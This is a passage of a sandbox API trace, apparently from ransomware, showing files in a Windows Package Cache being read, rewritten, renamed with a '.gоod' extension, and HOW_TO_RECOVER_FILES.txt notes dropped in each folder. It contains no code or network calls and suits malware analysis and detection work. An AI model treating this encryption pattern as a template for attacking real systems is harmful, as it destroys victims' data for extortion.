(hObject=0x79c) returned 1 [0085.304] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x78 [0085.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0085.304] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0085.304] GetFileType (hFile=0x79c) returned 0x1 [0085.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0085.304] GetFileType (hFile=0x79c) returned 0x1 [0085.304] ReadFile (in: hFile=0x79c, lpBuffer=0x3439ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x3439ea0*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0086.550] CloseHandle (hObject=0x79c) returned 1 [0086.550] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x78 [0086.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0086.550] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0086.550] GetFileType (hFile=0x79c) returned 0x1 [0086.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0086.550] GetFileType (hFile=0x79c) returned 0x1 [0086.550] WriteFile (in: hFile=0x79c, lpBuffer=0x3332a20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x3332a20*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0086.551] CloseHandle (hObject=0x79c) returned 1 [0086.551] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x78 [0086.551] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7d [0086.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0086.551] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2fcc26c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x165267)) returned 1 [0086.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0086.551] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.gоod")) returned 1 [0086.552] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x89 [0087.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0087.256] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x334a950 | out: lpFileInformation=0x334a950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000)) returned 1 [0087.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0087.256] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x89 [0087.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0087.257] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.257] GetFileType (hFile=0x7ac) returned 0x1 [0087.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0087.257] GetFileType (hFile=0x7ac) returned 0x1 [0087.257] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0087.257] ReadFile (in: hFile=0x7ac, lpBuffer=0x34e16f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x34e16f8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0087.259] CloseHandle (hObject=0x7ac) returned 1 [0087.259] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x89 [0087.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0087.259] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.259] GetFileType (hFile=0x7ac) returned 0x1 [0087.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0087.259] GetFileType (hFile=0x7ac) returned 0x1 [0087.259] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x24000 [0087.259] WriteFile (in: hFile=0x7ac, lpBuffer=0x34e2c90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x34e2c90*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0087.259] CloseHandle (hObject=0x7ac) returned 1 [0087.260] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x89 [0087.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0087.260] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.260] GetFileType (hFile=0x7ac) returned 0x1 [0087.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0087.260] GetFileType (hFile=0x7ac) returned 0x1 [0087.260] ReadFile (in: hFile=0x7ac, lpBuffer=0x34e4ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x34e4ff0*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0087.652] CloseHandle (hObject=0x7ac) returned 1 [0087.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x89 [0087.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0087.652] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.652] GetFileType (hFile=0x7ac) returned 0x1 [0087.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0087.652] GetFileType (hFile=0x7ac) returned 0x1 [0087.652] WriteFile (in: hFile=0x7ac, lpBuffer=0x3161758*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x3161758*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0087.652] CloseHandle (hObject=0x7ac) returned 1 [0087.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x89 [0087.653] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod", lpFilePart=0x0) returned 0x8e [0087.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0087.653] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010)) returned 1 [0087.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0087.653] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.gоod")) returned 1 [0087.653] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x88 [0087.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0087.653] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0087.656] GetFileType (hFile=0x7ac) returned 0x1 [0087.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0087.656] GetFileType (hFile=0x7ac) returned 0x1 [0087.657] WriteFile (in: hFile=0x7ac, lpBuffer=0x31b0260*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x31b0260*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0087.658] CloseHandle (hObject=0x7ac) returned 1 [0087.658] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0087.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0087.658] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0087.658] GetFileType (hFile=0x7ac) returned 0x1 [0087.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0087.658] GetFileType (hFile=0x7ac) returned 0x1 [0087.659] WriteFile (in: hFile=0x7ac, lpBuffer=0x31b3b78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x31b3b78*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0087.660] CloseHandle (hObject=0x7ac) returned 1 [0087.660] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0087.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0087.660] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0087.918] GetFileType (hFile=0x79c) returned 0x1 [0087.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0087.918] GetFileType (hFile=0x79c) returned 0x1 [0087.959] WriteFile (in: hFile=0x79c, lpBuffer=0x32cf6a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32cf6a8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0087.960] CloseHandle (hObject=0x79c) returned 1 [0087.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0087.960] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x4e [0087.960] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.961] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.961] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.961] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0087.961] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0087.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0087.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0087.961] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x4e [0087.961] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.962] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.962] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, 